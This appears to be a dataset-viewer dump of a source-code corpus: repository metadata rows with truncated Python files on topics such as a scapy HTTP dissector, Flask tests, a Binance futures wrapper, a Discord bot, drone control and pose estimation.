hexsha stringlengths 40 40 | size int64 5 2.06M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 248 | max_stars_repo_name stringlengths 5 125 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 248 | max_issues_repo_name stringlengths 5 125 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 248 | max_forks_repo_name stringlengths 5 125 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 5 2.06M | avg_line_length float64 1 1.02M | max_line_length int64 3 1.03M | alphanum_fraction float64 0 1 | count_classes int64 0 1.6M | score_classes float64 0 1 | count_generators int64 0 651k | score_generators float64 0 1 | count_decorators int64 0 990k | score_decorators float64 0 1 | count_async_functions int64 0 235k | score_async_functions float64 0 1 | count_documentation int64 0 1.04M | score_documentation float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
111b82803ba6219820d34735a4253abbca5f8527 | 1,785 | py | Python | tests/test_grizzly/steps/scenario/test_results.py | boffman/grizzly | eabe7b8f6cd7098914a1473928135c1e05758af7 | [
"MIT"
] | null | null | null | tests/test_grizzly/steps/scenario/test_results.py | boffman/grizzly | eabe7b8f6cd7098914a1473928135c1e05758af7 | [
"MIT"
] | 9 | 2022-01-05T08:53:41.000Z | 2022-03-31T07:26:05.000Z | tests/test_grizzly/steps/scenario/test_results.py | boffman/grizzly | eabe7b8f6cd7098914a1473928135c1e05758af7 | [
"MIT"
] | null | null | null | from typing import cast
from grizzly.context import GrizzlyContext
from grizzly.steps import * # pylint: disable=unused-wildcard-import # noqa: F403
from ....fixtures import BehaveFixture
def test_step_results_fail_ratio(behave_fixture: BehaveFixture) -> None:
behave = behave_fixture.context
grizzly = cas... | 36.428571 | 93 | 0.791036 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 107 | 0.059944 |
111b8e50cc0607494dfd9e6aee63b1a1cd91a426 | 419 | py | Python | variation/tokenizers/overexpression.py | cancervariants/variant-normalization | e89a9f8366a659c82b2042aeb7effe339851bfb4 | [
"MIT"
] | 1 | 2022-01-19T18:17:49.000Z | 2022-01-19T18:17:49.000Z | variation/tokenizers/overexpression.py | cancervariants/variation-normalization | 9c8fbab1562591ae9445d82ddd15df29f1ea1f5a | [
"MIT"
] | 99 | 2021-06-07T12:50:34.000Z | 2022-03-23T13:38:29.000Z | variation/tokenizers/overexpression.py | cancervariants/variant-normalization | e89a9f8366a659c82b2042aeb7effe339851bfb4 | [
"MIT"
] | null | null | null | """Module for over expression tokenization."""
from .basic_regex_tokenizer import BasicRegexTokenizer
class OverExpression(BasicRegexTokenizer):
"""Over Expression tokenizer class."""
def pattern(self) -> str:
"""Return over expression regex."""
return r'\bover ?expression\b'
def token_t... | 27.933333 | 54 | 0.680191 | 314 | 0.749403 | 0 | 0 | 0 | 0 | 0 | 0 | 198 | 0.472554 |
111c7c6e5f812c559a0501e1a32f5e52d75464e1 | 465 | py | Python | src/hypothesis.py | karlicoss/bleanser | fb0fb8b41769086723cb5b9854ebc93012bce279 | [
"MIT"
] | 13 | 2021-01-30T05:50:38.000Z | 2022-02-11T09:27:42.000Z | src/hypothesis.py | karlicoss/bleanser | fb0fb8b41769086723cb5b9854ebc93012bce279 | [
"MIT"
] | null | null | null | src/hypothesis.py | karlicoss/bleanser | fb0fb8b41769086723cb5b9854ebc93012bce279 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from pathlib import Path
from jq_normaliser import JqNormaliser, Filter
class HypNormaliser(JqNormaliser):
def __init__(self, *args, **kwargs) -> None:
super().__init__(*args, **kwargs, logger_tag='hypothesis-normaliser', delete_dominated=True, keep_both=False) # type: ignore
... | 21.136364 | 132 | 0.675269 | 269 | 0.578495 | 0 | 0 | 0 | 0 | 0 | 0 | 72 | 0.154839 |
111ccb15401d5907b8f70ab856b3fbce11ee3984 | 8,506 | py | Python | src/sniffmypacketsv2/transforms/common/layers/http.py | SneakersInc/sniffmypacketsv2 | 55d8ff70eedb4dd948351425c25a1e904ea6d50e | [
"Apache-2.0"
] | 11 | 2015-01-01T19:44:04.000Z | 2020-03-26T07:30:26.000Z | src/sniffmypacketsv2/transforms/common/layers/http.py | SneakersInc/sniffmypacketsv2 | 55d8ff70eedb4dd948351425c25a1e904ea6d50e | [
"Apache-2.0"
] | 8 | 2015-01-01T22:45:59.000Z | 2015-12-12T10:37:50.000Z | src/sniffmypacketsv2/transforms/common/layers/http.py | SneakersInc/sniffmypacketsv2 | 55d8ff70eedb4dd948351425c25a1e904ea6d50e | [
"Apache-2.0"
] | 3 | 2017-06-04T05:18:24.000Z | 2020-03-26T07:30:27.000Z | #! /usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : Steeve Barbeau, Luca Invernizzi
# This program is published under a GPLv2 license
import re
from scapy.all import TCP, bind_layers, Packet, StrField
def _canonicalize_header(name):
''' Takes a header key (i.e., "Host" in "Host: www.google.com",
an... | 39.37963 | 78 | 0.531507 | 6,127 | 0.720315 | 0 | 0 | 0 | 0 | 0 | 0 | 2,619 | 0.3079 |
111d1cfa9500d15ba56748062cc1aaac7850fbbb | 1,800 | py | Python | tests/unit/test_flask_app/test_boot.py | andersoncontreira/flask-skeleton-python | 4a3087cf94f387830850dc438338251da86c3cfb | [
"MIT"
] | 1 | 2021-08-11T21:29:50.000Z | 2021-08-11T21:29:50.000Z | tests/unit/test_flask_app/test_boot.py | andersoncontreira/flask-skeleton-python | 4a3087cf94f387830850dc438338251da86c3cfb | [
"MIT"
] | null | null | null | tests/unit/test_flask_app/test_boot.py | andersoncontreira/flask-skeleton-python | 4a3087cf94f387830850dc438338251da86c3cfb | [
"MIT"
] | null | null | null | import os
import unittest
from flask_app.boot import load_dot_env, reset, is_loaded, load_env
from tests.unit.testutils import BaseUnitTestCase, get_function_name
from unittest_data_provider import data_provider
def get_env():
return (None, True), ('dev', True), ('development', True), ('integration', True), ('sta... | 34.615385 | 108 | 0.632778 | 1,228 | 0.682222 | 0 | 0 | 1,179 | 0.655 | 0 | 0 | 383 | 0.212778 |
111dff9ff8122d79f8e2380fe35f3b04555c5059 | 805 | py | Python | quadratic.py | Varanasi-Software-Junction/Python-repository-for-basics | 01128ccb91866cb1abb6d8abf035213f722f5750 | [
"MIT"
] | 2 | 2021-07-14T11:01:58.000Z | 2021-07-14T11:02:01.000Z | quadratic.py | Maurya232Abhishek/Python-repository-for-basics | 3dcec5c529a0847df07c9dcc1424675754ce6376 | [
"MIT"
] | 4 | 2021-04-09T10:14:06.000Z | 2021-04-13T10:25:58.000Z | quadratic.py | Maurya232Abhishek/Python-repository-for-basics | 3dcec5c529a0847df07c9dcc1424675754ce6376 | [
"MIT"
] | 2 | 2021-07-11T08:17:30.000Z | 2021-07-14T11:10:58.000Z | def QuadraticRegression(px,py):
sumy = 0
sumx1= 0
sumx2= 0
sumx3 = 0
sumx4 = 0
sumxy = 0
sum2y = 0
n=len(px)
for i in range (n):
x = px[i]
y = py[i]
sumx1 += x
sumy += y
sumx2 += x*x
sumx3 += x*x*x
sumx4 += x*x*x*x
p... | 25.967742 | 129 | 0.468323 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
111e4289c2fc2ba12c2caeb52c1314824fc19de1 | 5,591 | py | Python | config/atcoder-tools/custom_code_generator.py | ay65535/dotfiles-sei40kr | 32a930b0b3f08b15038c28f14e11b5f4ccf367fd | [
"MIT"
] | null | null | null | config/atcoder-tools/custom_code_generator.py | ay65535/dotfiles-sei40kr | 32a930b0b3f08b15038c28f14e11b5f4ccf367fd | [
"MIT"
] | null | null | null | config/atcoder-tools/custom_code_generator.py | ay65535/dotfiles-sei40kr | 32a930b0b3f08b15038c28f14e11b5f4ccf367fd | [
"MIT"
] | null | null | null | from typing import Any, Dict, Optional
from atcodertools.codegen.code_style_config import CodeStyleConfig
from atcodertools.codegen.models.code_gen_args import CodeGenArgs
from atcodertools.codegen.template_engine import render
from atcodertools.fmtprediction.models.format import (Format, ParallelPattern,
... | 34.94375 | 117 | 0.609909 | 4,681 | 0.837238 | 0 | 0 | 0 | 0 | 0 | 0 | 411 | 0.073511 |
111f8861f8a268462a9c22cdca35e2db764c3102 | 16,873 | py | Python | crypto_futures_py/binance_futures.py | bear2u/CryptoFuturesPy | 9cfbf5f3a32b35a8a7cd53c2a3ded55d7b3c78d0 | [
"MIT"
] | 7 | 2020-08-23T19:02:33.000Z | 2022-03-24T15:48:18.000Z | crypto_futures_py/binance_futures.py | bear2u/CryptoFuturesPy | 9cfbf5f3a32b35a8a7cd53c2a3ded55d7b3c78d0 | [
"MIT"
] | null | null | null | crypto_futures_py/binance_futures.py | bear2u/CryptoFuturesPy | 9cfbf5f3a32b35a8a7cd53c2a3ded55d7b3c78d0 | [
"MIT"
] | 1 | 2021-09-15T04:17:04.000Z | 2021-09-15T04:17:04.000Z | """
This module contains an implementation for Binance Futures (BinanceFuturesExchangeHandler)
"""
from __future__ import annotations
import pandas as pd
import typing
import json
import logging
import pandas as pd
from datetime import datetime
from dataclasses import dataclass
from . import futurespy as fp
from... | 37.412417 | 122 | 0.551295 | 16,516 | 0.978842 | 0 | 0 | 467 | 0.027677 | 8,677 | 0.514254 | 3,549 | 0.210336 |
112006d175386d520393db8a5fbf90e3082f8290 | 39 | py | Python | orbit/__init__.py | CrossNox/orbit | 1c803596b3477a91c122093c1f6e34333b6db42e | [
"Apache-2.0"
] | null | null | null | orbit/__init__.py | CrossNox/orbit | 1c803596b3477a91c122093c1f6e34333b6db42e | [
"Apache-2.0"
] | null | null | null | orbit/__init__.py | CrossNox/orbit | 1c803596b3477a91c122093c1f6e34333b6db42e | [
"Apache-2.0"
] | null | null | null | name = 'orbit'
__version__ = '1.0.10'
| 9.75 | 22 | 0.615385 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 15 | 0.384615 |
11207abb79cc5820b7575449526dbb965b477f82 | 1,971 | py | Python | repsim/kernels/kernel_base.py | wrongu/representational-similarity | adca614053973def176044437e6a064c04943ce0 | [
"MIT"
] | 2 | 2022-03-23T21:24:21.000Z | 2022-03-24T04:18:30.000Z | repsim/kernels/kernel_base.py | wrongu/representational-similarity | adca614053973def176044437e6a064c04943ce0 | [
"MIT"
] | 3 | 2022-03-23T19:35:58.000Z | 2022-03-24T04:20:29.000Z | repsim/kernels/kernel_base.py | wrongu/representational-similarity | adca614053973def176044437e6a064c04943ce0 | [
"MIT"
] | 1 | 2022-03-23T19:16:19.000Z | 2022-03-23T19:16:19.000Z | import torch
from typing import Union, Iterable
def center(k: torch.Tensor) -> torch.Tensor:
"""Center features of a kernel by pre- and post-multiplying by the centering matrix H.
In other words, if k_ij is dot(x_i, x_j), the result will be dot(x_i - mu_x, x_j - mu_x).
:param k: a n by n Gram matrix of ... | 31.790323 | 93 | 0.598681 | 1,257 | 0.637747 | 0 | 0 | 0 | 0 | 0 | 0 | 558 | 0.283105 |
11207edc04bb4169510f36f55f71d608452b5ac2 | 6,253 | py | Python | add_sensors.py | gve-sw/gve_devnet_meraki_sensor_deployment | 7add073bf3e2728f811ea8f5da80c138e3067af7 | [
"RSA-MD"
] | null | null | null | add_sensors.py | gve-sw/gve_devnet_meraki_sensor_deployment | 7add073bf3e2728f811ea8f5da80c138e3067af7 | [
"RSA-MD"
] | null | null | null | add_sensors.py | gve-sw/gve_devnet_meraki_sensor_deployment | 7add073bf3e2728f811ea8f5da80c138e3067af7 | [
"RSA-MD"
] | null | null | null | #!/usr/bin/env python3
"""Copyright (c) 2020 Cisco and/or its affiliates.
This software is licensed to you under the terms of the Cisco Sample
Code License, Version 1.1 (the "License"). You may obtain a copy of the
License at
https://developer.cisco.com/docs/licenses
All use of the material herein must b... | 40.869281 | 277 | 0.689909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,081 | 0.492723 |
1120e9e47c16ba9929729ce5750b83aea2535437 | 663 | py | Python | BasicOperations/01_01_PyQt4/tableDoubleClicked.py | UpSea/midProjects | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | [
"MIT"
] | 1 | 2018-07-02T13:54:49.000Z | 2018-07-02T13:54:49.000Z | BasicOperations/01_01_PyQt4/tableDoubleClicked.py | UpSea/midProjects | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | [
"MIT"
] | null | null | null | BasicOperations/01_01_PyQt4/tableDoubleClicked.py | UpSea/midProjects | ed6086e74f68b1b89f725abe0b270e67cf8993a8 | [
"MIT"
] | 3 | 2016-05-28T15:13:02.000Z | 2021-04-10T06:04:25.000Z | from PyQt4.QtGui import *
from PyQt4.QtCore import *
class MyTabView(QTableView):
def __init__(self, parent=None):
super(MyTabView, self).__init__(parent)
self.model = QStandardItemModel(4, 2)
self.setModel(self.model)
def mouseDoubleClickEvent(self, event):
QTableView.mouseDo... | 25.5 | 70 | 0.618401 | 439 | 0.662142 | 0 | 0 | 0 | 0 | 0 | 0 | 31 | 0.046757 |
11212e7dd8a44a25b511bd3b53859f4b2622a99f | 2,868 | py | Python | pyboss/cogs/commands.py | ajayat/pyboss | 42615d8b3af1601b3d7572e669d692cf3c537703 | [
"MIT"
] | 2 | 2021-07-27T21:46:40.000Z | 2021-10-31T20:31:05.000Z | pyboss/cogs/commands.py | ajayat/pyboss | 42615d8b3af1601b3d7572e669d692cf3c537703 | [
"MIT"
] | 1 | 2021-06-25T12:17:45.000Z | 2021-06-25T12:18:54.000Z | pyboss/cogs/commands.py | ajayat/pyboss | 42615d8b3af1601b3d7572e669d692cf3c537703 | [
"MIT"
] | 2 | 2021-06-24T18:28:25.000Z | 2021-06-25T12:20:47.000Z | import logging
from itertools import cycle
import discord
from discord.ext import commands, tasks
from pyboss.controllers.guild import GuildController
from .utils import youtube
from .utils.checkers import is_guild_owner
logger = logging.getLogger(__name__)
class Commands(commands.Cog):
def __init__(self, bot... | 30.510638 | 78 | 0.611576 | 2,560 | 0.890745 | 0 | 0 | 2,295 | 0.798539 | 1,984 | 0.690327 | 549 | 0.191023 |
1121313e46cf1f2e2cb2bc3065f395b37613a84b | 19,860 | py | Python | legacy/glucose-insulin.py | IllumiNate411/SBINNs | 37e68ce97a997090d17a3d487de77aa9059bfc91 | [
"Apache-2.0"
] | 23 | 2020-07-15T07:41:15.000Z | 2022-02-10T23:09:03.000Z | legacy/glucose-insulin.py | IllumiNate411/SBINNs | 37e68ce97a997090d17a3d487de77aa9059bfc91 | [
"Apache-2.0"
] | 2 | 2021-06-20T20:41:52.000Z | 2022-02-09T19:26:10.000Z | legacy/glucose-insulin.py | IllumiNate411/SBINNs | 37e68ce97a997090d17a3d487de77aa9059bfc91 | [
"Apache-2.0"
] | 21 | 2020-07-15T07:41:17.000Z | 2022-03-03T12:01:37.000Z | import tensorflow as tf
import numpy as np
from scipy.integrate import odeint
import matplotlib.pyplot as plt
from plotting import newfig, savefig
import matplotlib.gridspec as gridspec
import seaborn as sns
import time
from utilities import neural_net, fwd_gradients, heaviside, \
tf_session, mea... | 42.801724 | 128 | 0.533938 | 11,052 | 0.556495 | 0 | 0 | 0 | 0 | 0 | 0 | 3,860 | 0.194361 |
112171429cd4a9b17bf8545cbd8d125eb2b1fe8d | 775 | py | Python | papounet_diet/food_items/migrations/0002_auto_20201112_0653.py | Fabrice-64/OC_Project_8 | 4776a2fa6edffa5c965340b384083c2618f091d9 | [
"BSD-2-Clause"
] | null | null | null | papounet_diet/food_items/migrations/0002_auto_20201112_0653.py | Fabrice-64/OC_Project_8 | 4776a2fa6edffa5c965340b384083c2618f091d9 | [
"BSD-2-Clause"
] | null | null | null | papounet_diet/food_items/migrations/0002_auto_20201112_0653.py | Fabrice-64/OC_Project_8 | 4776a2fa6edffa5c965340b384083c2618f091d9 | [
"BSD-2-Clause"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-12 06:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('food_items', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='category',
name='products',
... | 24.21875 | 67 | 0.550968 | 682 | 0.88 | 0 | 0 | 0 | 0 | 0 | 0 | 187 | 0.24129 |
11218cc7070af833cd314550b9c5614c1e90bc7d | 511 | py | Python | example.py | nils-wisiol/ntru | 9e8848c8883ffd61724604a7ad6dc39498331e2d | [
"MIT"
] | 1 | 2020-03-12T15:09:55.000Z | 2020-03-12T15:09:55.000Z | example.py | nils-wisiol/ntru | 9e8848c8883ffd61724604a7ad6dc39498331e2d | [
"MIT"
] | 1 | 2020-02-06T19:25:46.000Z | 2020-02-06T19:25:46.000Z | example.py | nils-wisiol/ntru | 9e8848c8883ffd61724604a7ad6dc39498331e2d | [
"MIT"
] | null | null | null | from ciphers import StreamlinedNTRUPrime
# choose your parameters
p, q, w = 761, 4591, 286
print('Streamlined NTRU Prime Example for', f'p={p}, q={q}, w={w}')
print('-' * 50)
cipher = StreamlinedNTRUPrime(p, q, w, seed=1337)
print('Generating key pair ... ')
pk, sk = cipher.generate_keys()
print('En/decrypting...')... | 28.388889 | 90 | 0.712329 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 180 | 0.35225 |
1125ca0aabe90d99b7a8c515657de5d0e0420e5b | 3,721 | py | Python | netease_cloud_music_cache_export.py | simonchen/netease_cloud_music_cache_export | 2e5538c13f4bf1af0a1e138010b111462370fa69 | [
"MIT"
] | null | null | null | netease_cloud_music_cache_export.py | simonchen/netease_cloud_music_cache_export | 2e5538c13f4bf1af0a1e138010b111462370fa69 | [
"MIT"
] | null | null | null | netease_cloud_music_cache_export.py | simonchen/netease_cloud_music_cache_export | 2e5538c13f4bf1af0a1e138010b111462370fa69 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import os, sys, shutil, re
def trip_space(s):
while len(s) > 0 and s[-1] == '\x00':
s = s[:-1]
## while len(s) > 0 and s[:2] == b'\x00\x00':
## s = s[2:]
return s
def _print(*args):
try:
for arg in args:
print arg,
... | 32.356522 | 145 | 0.508465 | 2,497 | 0.671056 | 0 | 0 | 0 | 0 | 0 | 0 | 726 | 0.195109 |
112717e60382646da056e160e879beb3deb10306 | 4,123 | py | Python | word_ladder/utilities.py | RacingTadpole/boggle | 2185da9e204e2d1ed686ccaac76d0d73396408fb | [
"MIT"
] | null | null | null | word_ladder/utilities.py | RacingTadpole/boggle | 2185da9e204e2d1ed686ccaac76d0d73396408fb | [
"MIT"
] | null | null | null | word_ladder/utilities.py | RacingTadpole/boggle | 2185da9e204e2d1ed686ccaac76d0d73396408fb | [
"MIT"
] | null | null | null | from typing import Dict, Iterable, Iterator, List, Sequence, Optional, Tuple
from word_ladder.types import WordDict
from word_ladder.rung import Rung
def get_word_with_letter_missing(word: str, position: int) -> str:
"""
>>> get_word_with_letter_missing('dog', 0)
'?og'
>>> get_word_with_letter_missing... | 37.825688 | 119 | 0.551298 | 0 | 0 | 397 | 0.096289 | 0 | 0 | 0 | 0 | 2,219 | 0.5382 |
1127e97d3747a0a490202eaf8f996051a3a32f10 | 194 | py | Python | nawrapper/__init__.py | xzackli/nawrapper | f67c02b48d04ed35ab05a378b9884fefd9d07d7f | [
"MIT"
] | null | null | null | nawrapper/__init__.py | xzackli/nawrapper | f67c02b48d04ed35ab05a378b9884fefd9d07d7f | [
"MIT"
] | 9 | 2019-08-27T11:52:37.000Z | 2021-09-21T05:13:25.000Z | nawrapper/__init__.py | xzackli/nawrapper | f67c02b48d04ed35ab05a378b9884fefd9d07d7f | [
"MIT"
] | 1 | 2020-07-07T14:31:43.000Z | 2020-07-07T14:31:43.000Z | """Package init file.
We want the user to get everything right away upon `import nawrapper as nw`.
"""
from .power import *
from .maptools import *
from .covtools import *
from . import planck
| 21.555556 | 76 | 0.731959 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 103 | 0.530928 |
11290c9f84712a0ff71c67c6213ef09024350d23 | 923 | py | Python | apps/plea/migrations/0015_datavalidation.py | uk-gov-mirror/ministryofjustice.manchester_traffic_offences_pleas | 4c625b13fa2826bdde083a0270dcea1791f6dc18 | [
"MIT"
] | 3 | 2015-12-22T16:37:14.000Z | 2018-01-22T18:44:38.000Z | apps/plea/migrations/0015_datavalidation.py | uk-gov-mirror/ministryofjustice.manchester_traffic_offences_pleas | 4c625b13fa2826bdde083a0270dcea1791f6dc18 | [
"MIT"
] | 145 | 2015-03-04T11:17:50.000Z | 2022-03-21T12:10:13.000Z | apps/plea/migrations/0015_datavalidation.py | uk-gov-mirror/ministryofjustice.manchester_traffic_offences_pleas | 4c625b13fa2826bdde083a0270dcea1791f6dc18 | [
"MIT"
] | 3 | 2015-12-29T14:59:12.000Z | 2021-04-11T06:24:11.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('plea', '0014_auto_20151119_1136'),
]
operations = [
migrations.CreateModel(
name='DataValidation',
f... | 34.185185 | 114 | 0.600217 | 814 | 0.881907 | 0 | 0 | 0 | 0 | 0 | 0 | 179 | 0.193933 |
1129de727312bd65742888ccbd67f3c84eed3c48 | 498 | py | Python | src/test/resources/outputs/blueprints/openstack/lamp/plugins/overrides/openstack/wrapper.py | alien4cloud/alien4cloud-cloudify4-provider | 97faee855255eb0c3ce25bb3075c29acd11a63c5 | [
"Apache-2.0"
] | null | null | null | src/test/resources/outputs/blueprints/openstack/lamp/plugins/overrides/openstack/wrapper.py | alien4cloud/alien4cloud-cloudify4-provider | 97faee855255eb0c3ce25bb3075c29acd11a63c5 | [
"Apache-2.0"
] | 3 | 2015-12-04T15:27:22.000Z | 2016-04-08T11:32:43.000Z | src/test/resources/outputs/blueprints/openstack/lamp/plugins/overrides/openstack/wrapper.py | alien4cloud/alien4cloud-cloudify4-provider | 97faee855255eb0c3ce25bb3075c29acd11a63c5 | [
"Apache-2.0"
] | 16 | 2015-01-29T10:05:09.000Z | 2019-06-24T19:23:54.000Z | from cloudify import ctx
from cloudify.decorators import operation
from a4c_common.wrapper_util import (USE_EXTERNAL_RESOURCE_KEY,handle_external_resource,handle_resource_ids)
from openstack import with_cinder_client
from openstack.volume import create
@operation
@with_cinder_client
def overrided_create_volume(cinde... | 31.125 | 108 | 0.843373 | 0 | 0 | 0 | 0 | 241 | 0.483936 | 0 | 0 | 0 | 0 |
112a43415fecd46be252ae4a4ada95880e19dcdf | 571 | py | Python | drift_report/domain/model_repository.py | rufusnufus/drift-report-plugin | 37019491a82e3478d6bfc718962a477266e1fa26 | [
"Apache-2.0"
] | null | null | null | drift_report/domain/model_repository.py | rufusnufus/drift-report-plugin | 37019491a82e3478d6bfc718962a477266e1fa26 | [
"Apache-2.0"
] | null | null | null | drift_report/domain/model_repository.py | rufusnufus/drift-report-plugin | 37019491a82e3478d6bfc718962a477266e1fa26 | [
"Apache-2.0"
] | null | null | null | from typing import Iterator, List, Optional
from drift_report.domain.model import Model
class ModelRepository:
def __init__(self) -> None:
self.state: List[Model] = []
def create(self, model: Model):
self.state.append(model)
def all(self) -> Iterator[Model]:
return iter(self.stat... | 24.826087 | 67 | 0.628722 | 447 | 0.782837 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
112b2b33af67e21e163e5b4e0d7e900b33eee428 | 1,407 | py | Python | day_2/day_2.py | DillonHirth/advent_of_code | 3af280134757945958f816c5c1522c8b7178c290 | [
"MIT"
] | null | null | null | day_2/day_2.py | DillonHirth/advent_of_code | 3af280134757945958f816c5c1522c8b7178c290 | [
"MIT"
] | null | null | null | day_2/day_2.py | DillonHirth/advent_of_code | 3af280134757945958f816c5c1522c8b7178c290 | [
"MIT"
] | null | null | null | # PART 1
with open('input.txt') as input_file:
x_pos = 0
y_pos = 0
for line in input_file:
direction = line.split(' ')[0]
distance = int(line.split(' ')[1])
if direction == "forward":
x_pos += distance
elif direction == "down":
y_pos += distance
... | 30.586957 | 60 | 0.484009 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 323 | 0.229566 |
112cd4d3258cf792afd7adf62c3d6949ad17d6fc | 794 | py | Python | example.py | macieydev/cosmopy | b039d07dd0cbdd52d1c5aeac79c3bfeccb186284 | [
"MIT"
] | null | null | null | example.py | macieydev/cosmopy | b039d07dd0cbdd52d1c5aeac79c3bfeccb186284 | [
"MIT"
] | null | null | null | example.py | macieydev/cosmopy | b039d07dd0cbdd52d1c5aeac79c3bfeccb186284 | [
"MIT"
] | null | null | null | from typing import Optional
from pydantic import BaseModel
from cosmopy.model import CosmosModel
class Engine(BaseModel):
hp: int
volume: int
class Car(CosmosModel):
make: str
model: str
engine: Optional[Engine]
if __name__ == "__main__":
passat = Car(make="VW", model="Passat")
print... | 19.365854 | 79 | 0.625945 | 133 | 0.167506 | 0 | 0 | 0 | 0 | 0 | 0 | 172 | 0.216625 |
112cd54188922444eead3eae29559f88d75ef846 | 6,882 | py | Python | quadcopter/script/extras/sdre_mavros.py | Bibbidi-Babbidi-Boo/SDRE-based-Cooperative-UAV-Landing-on-High-speed-targets | 515fb38120990cb707521da1a5870721b0ee842a | [
"MIT"
] | 2 | 2020-12-30T16:24:27.000Z | 2021-05-29T08:06:54.000Z | quadcopter/script/extras/sdre_mavros.py | Bibbidi-Babbidi-Boo/SDRE-based-Cooperative-UAV-Landing-on-High-speed-targets | 515fb38120990cb707521da1a5870721b0ee842a | [
"MIT"
] | null | null | null | quadcopter/script/extras/sdre_mavros.py | Bibbidi-Babbidi-Boo/SDRE-based-Cooperative-UAV-Landing-on-High-speed-targets | 515fb38120990cb707521da1a5870721b0ee842a | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import rospy
import tf
import scipy.linalg as la
import numpy as np
from math import *
import mavros_msgs.srv
from mavros_msgs.msg import AttitudeTarget
from nav_msgs.msg import Odometry
from std_msgs.msg import *
from test.msg import *
from geometry_msgs.msg import *
from mavros_msgs.msg import *... | 29.285106 | 159 | 0.583406 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,458 | 0.357164 |
112cd847b88d905fd3029731c809d6d6df124316 | 1,233 | py | Python | scripts/metwork_topics.py | metwork-framework/ressources | 5d88c13b823089c965a5a2204b981da8b652757c | [
"BSD-3-Clause"
] | null | null | null | scripts/metwork_topics.py | metwork-framework/ressources | 5d88c13b823089c965a5a2204b981da8b652757c | [
"BSD-3-Clause"
] | 47 | 2018-09-12T14:30:00.000Z | 2021-09-09T12:26:10.000Z | scripts/metwork_topics.py | metwork-framework/ressources | 5d88c13b823089c965a5a2204b981da8b652757c | [
"BSD-3-Clause"
] | 2 | 2018-10-15T09:15:31.000Z | 2019-03-13T14:25:48.000Z | #!/usr/bin/env python3
import argparse
import asyncio
import json
from aiohttp import ClientSession, BasicAuth, ClientTimeout
import os
import aiohttp_github_helpers as h
GITHUB_USER = os.environ.get('GITHUB_USER', None)
GITHUB_PASS = os.environ.get('GITHUB_PASS', None)
TIMEOUT = ClientTimeout(total=20)
AUTH = None
i... | 30.825 | 71 | 0.739659 | 0 | 0 | 0 | 0 | 0 | 0 | 212 | 0.171938 | 192 | 0.155718 |
112f282e3098cdc6a98d1c6bbec33fdd6b4350c1 | 23,588 | py | Python | test2.py | juanmed/singleshot6Dpose | a32d5159d557451ac3ed710ca7d4da6f7c64ff52 | [
"MIT"
] | 5 | 2019-03-27T08:40:07.000Z | 2021-01-08T05:44:46.000Z | test2.py | juanmed/singleshot6Dpose | a32d5159d557451ac3ed710ca7d4da6f7c64ff52 | [
"MIT"
] | null | null | null | test2.py | juanmed/singleshot6Dpose | a32d5159d557451ac3ed710ca7d4da6f7c64ff52 | [
"MIT"
] | 1 | 2019-07-11T09:20:25.000Z | 2019-07-11T09:20:25.000Z | # import support libraries
import os
import time
import numpy as np
# import main working libraries
import cv2
import torch
from torch.autograd import Variable
from torchvision import transforms
from PIL import Image
# import app libraries
from darknet import Darknet
from utils import *
from MeshPly import MeshPly
... | 40.115646 | 187 | 0.598186 | 499 | 0.021155 | 0 | 0 | 0 | 0 | 0 | 0 | 10,975 | 0.465279 |
112fbb6bacb51a637008a37470e77beab2c5a20e | 4,028 | py | Python | nba/model/utils.py | mattdhart/GBling | ed868dccfcaf7588e7a1297f2294fd62b62e43be | [
"Apache-2.0"
] | null | null | null | nba/model/utils.py | mattdhart/GBling | ed868dccfcaf7588e7a1297f2294fd62b62e43be | [
"Apache-2.0"
] | null | null | null | nba/model/utils.py | mattdhart/GBling | ed868dccfcaf7588e7a1297f2294fd62b62e43be | [
"Apache-2.0"
] | null | null | null |
team_abbr_lookup = {
"Toronto Raptors": "TOR",
"Brooklyn Nets": "BRK",
"New York Knicks": "NYK",
"Boston Celtics": "BOS",
"Philadelphia 76ers": "PHI",
"Indiana Pacers": "IND",
"Chicago Bulls": "CHI",
"Cleveland Cavaliers": "CLE",
"Detroit Pistons": "DET",
"Milwaukee Bucks": "MIL... | 29.188406 | 45 | 0.606753 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,801 | 0.695382 |
